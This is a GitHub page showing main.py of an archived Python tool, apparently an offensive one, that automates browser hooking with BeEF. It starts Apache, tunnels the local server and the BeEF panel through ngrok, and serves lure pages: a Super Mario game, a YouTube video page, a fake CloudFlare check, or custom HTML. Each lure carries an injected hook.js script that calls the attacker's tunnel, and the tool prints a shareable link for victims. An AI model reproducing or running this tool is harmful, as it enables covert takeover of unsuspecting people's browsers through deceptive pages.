This repository was archived by the owner on Apr 13, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
284 lines (227 loc) · 9.45 KB
/
main.py
File metadata and controls
284 lines (227 loc) · 9.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
import requests
import os
import sys
import time
import signal
##Please enter the html code of the site inside (''' ''') these## Manual Page Mode
site = (''' ''')
######################################################################################################################################################################
def core():
os.system('sudo cp -r Core/* /var/www/html')
inplace_change('/var/www/html/index.html', 'beefip', x)
cloudflare()
startbeef()
inplace_change('/var/www/html/beef.js', 'youhacker55', "http://" + z + ":80/hook.js")
inplace_change('/var/www/html/beef.js', 'youhacker2', z)
print(Green + "\nBeef Controll Panel: http://localhost:3000/ui/panel")
print(Green + "\nGenarating Link")
time.sleep(5)
print(Green + "\nLink : http://" + x)
print(Red + "\nCRTL + C for exit")
signal.pause()
def Deletezombie():
delete = input(Red+ "\nAre you sure want to delete Beef zombies(Y/n)? ")
if delete == 'Y':
if os.path.exists('/usr/share/beef-xss/db/beef.db') == True:
print(Green + "\nFound Beef Database")
os.system('rm -r /usr/share/beef-xss/db/beef.db')
print(Green+"\nDatabase Deleted ! !")
else:
print(Red + "\nCan t find Beef database")
else:
sys.exit()
def cloudflare():
cloudflare = input(Green+"\nDo you want to use fake CloudFlare protection(Y/n)? ")
if cloudflare == 'Y':
os.system("sudo cp -r cloudflare/cloudflare.html /var/www/html")
os.system('cd /var/www/html && mv index.html page.html')
os.system('cd /var/www/html && mv cloudflare.html index.html')
else:
pass
def ytbvid():
changeid = input("Youtube Video URL: ")
os.system('sudo cp -r yt-watch/index.html /var/www/html')
inplace_change('/var/www/html/index.html', 'beefip', x)
inplace_change('/var/www/html/index.html', 'DistractVic', changeid)
cloudflare()
startbeef()
inplace_change('/var/www/html/beef.js', 'youhacker55', "http://" + z + ":80/hook.js")
inplace_change('/var/www/html/beef.js', 'youhacker2', z)
print(Green + "\nBeef Panel: http://localhost:3000/ui/panel")
print(Green + "\nGenarating Link")
time.sleep(5)
print(Green + "\nLink: http://" + x)
print(Red + "CRTL + C to exit")
signal.pause()
def Default():
inplace_change('/var/www/html/beef.js', 'youhacker55', "http://" + z + ":80/hook.js")
inplace_change('/var/www/html/beef.js', 'youhacker2', z)
with open('/var/www/html/index.html', 'w') as index:
index.write('<script src="http://' + x + '/beef.js"></script>')
index.write(site)
index.close()
startbeef()
print(Green + "\nBeef Panel: http://localhost:3000/ui/panel")
print(Green + "\nGenarating Link")
time.sleep(5)
print(Green + "\nLink: http://" + x)
def finish():
remove = input("\nRemove the files on the apache directory(recomended)[Y/n]? ")
if remove == 'Y':
print(Green + "[+]" + "Removing files")
os.system('rm -r /var/www/html/*')
else:
exit()
Red ="\u001b[31m"
Green ="\u001b[32m"
if os.getuid() == 0:
pass
else:
print(Red+"This tool requires root permission to run")
sys.exit()
def banner():
os.system("clear")
print(Green + """
@@(
.@@@@@@@@@@@&&&@@* ,@@@.
(@@@@( .@@@@@@
@&@, ,%%%*
@&@ @@&@@* .%@&@@
@@@ *@@% @@@
@@@ *@@ #@@
./(%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#/,
/@@ @&( @&# @@% (@@
%@@ @@@ @&@@&@&&@& (&@
@@@ @@@ (@@(
@&@@@@&(* &@@&@. %@@@&
,#&@@@@@@#. """)
print(Red + """
██████╗ ███████╗███████╗███████╗███████╗███████╗ ██████╗
██╔══██╗██╔════╝██╔════╝██╔════╝██╔════╝██╔════╝██╔════╝
██████╔╝█████╗ █████╗ █████╗ ███████╗█████╗ ██║
██╔══██╗██╔══╝ ██╔══╝ ██╔══╝ ╚════██║██╔══╝ ██║
██████╔╝███████╗███████╗██║ ███████║███████╗╚██████╗
╚═════╝ ╚══════╝╚══════╝╚═╝ ╚══════╝╚══════╝ ╚═════╝""")
print(" \033[37mA automated browser exploitation framework :)")
print(" \033[37mPowered By youhacker55\n")
print(" \033[37mCoded by R00tDev1l\n")
banner()
def movehook():
os.system("sudo cp beef.js /var/www/html")
movehook()
def inplace_change(filename, old_string, new_string):
with open(filename) as f:
s = f.read()
if old_string not in s:
print(Red+'"{old_string}" not found in {filename}.'.format(**locals()))
return
with open(filename, 'w') as f:
print(Green+'Changing "{old_string}" to "{new_string}" in {filename}'.format(**locals()))
s = s.replace(old_string, new_string)
f.write(s)
def signal_handler(sig, frame):
print("Crtl + C detected Stopping Beef")
os.system('sudo beef-xss-stop')
finish()
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
def apache2():
print(Green+"[+]"+"Starting apache2 server\n")
time.sleep(2)
os.system("sudo service apache2 start")
apache2()
def checkngrokparam(ngrokpath, targettouse):
with open(ngrokpath, 'r') as read_obj:
for line in read_obj:
if targettouse in line:
return True
return False
def auth():
auth = input(Red+'Enter ngrok authtoken: ')
os.system("./ngrok authtoken " + auth)
print("")
if os.system("which ngrok >/dev/null 2>&1") == 0:
pass
else:
if os.system("which pip3 >/dev/null 2>&1") != 0:
os.system("sudo apt-get install python3-pip beef-xss")
os.system("pip3 install pyngrok")
os.system("sudo apt-get install gnome-terminal -y")
print(Green+"[+]""Everything is installed")
if os.path.exists('/root/.ngrok2/ngrok.yml') == False:
auth()
else:
pass
with open('/root/.ngrok2/ngrok.yml','r') as ngrok:
while '{}' in ngrok.read():
print(Red+"[-]""Ngrok autotoken not detected")
auth()
else:
pass
g = """
tunnels:
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http
"""
if checkngrokparam('/root/.ngrok2/ngrok.yml', '#capture'):
pass
else:
print(Green+'[+]'+"Configuring Ngrok")
with open('/root/.ngrok2/ngrok.yml','a') as ngrok3:
ngrok3.write('#capture')
ngrok3.write(g)
ngrok3.close()
def startbeef():
os.system('beef-xss')
try:
os.system("gnome-terminal -- ./ngrok start -all")
print(Red + "\nConfiguring Ngrok please wait for 30 seconds.")
time.sleep(30)
url = "http://127.0.0.1:4040/api/tunnels/first-app"
recived = requests.get(url)
http = recived.json()["public_url"]
url2 = 'http://127.0.0.1:4040/api/tunnels/second-app'
recived2 = requests.get(url2)
http2 = recived2.json()["public_url"]
x = http[8:]
z = http2[8:]
print(Green + """
________________________________
| Availble WebPages Interfaces |
|------------------------------|
1) SuperMario Game
2) Youtube Video Page
3) Core Game
4) Manuall Page Mode
5) Delete all beef zombies""")
print(Red + "\nCTRL + C to exit")
b = input(Green+'\nSelect option: ')
if b == "1":
startbeef()
os.system('sudo cp -r Super-Mario/* /var/www/html')
inplace_change('/var/www/html/index.html', 'youhacker', x)
inplace_change('/var/www/html/beef.js', 'youhacker55', "http://" + z + ":80/hook.js")
inplace_change('/var/www/html/beef.js', 'youhacker2', z)
cloudflare()
print(Green + "\nBeef Panel: http://localhost:3000/ui/panel")
print(Green + "\nGanerating Link")
time.sleep(5)
print(Green + "\nLink: http://" + x)
print(Red + "\nCRTL + C to exit")
signal.pause()
elif b == "2":
ytbvid()
elif b == '5':
Deletezombie()
elif b == "3":
core()
else:
Default()
print(Red + "CRTL + C to exit")
signal.pause()
except requests.ConnectionError:
print("start ngrok just type:sudo ngrok start -all ")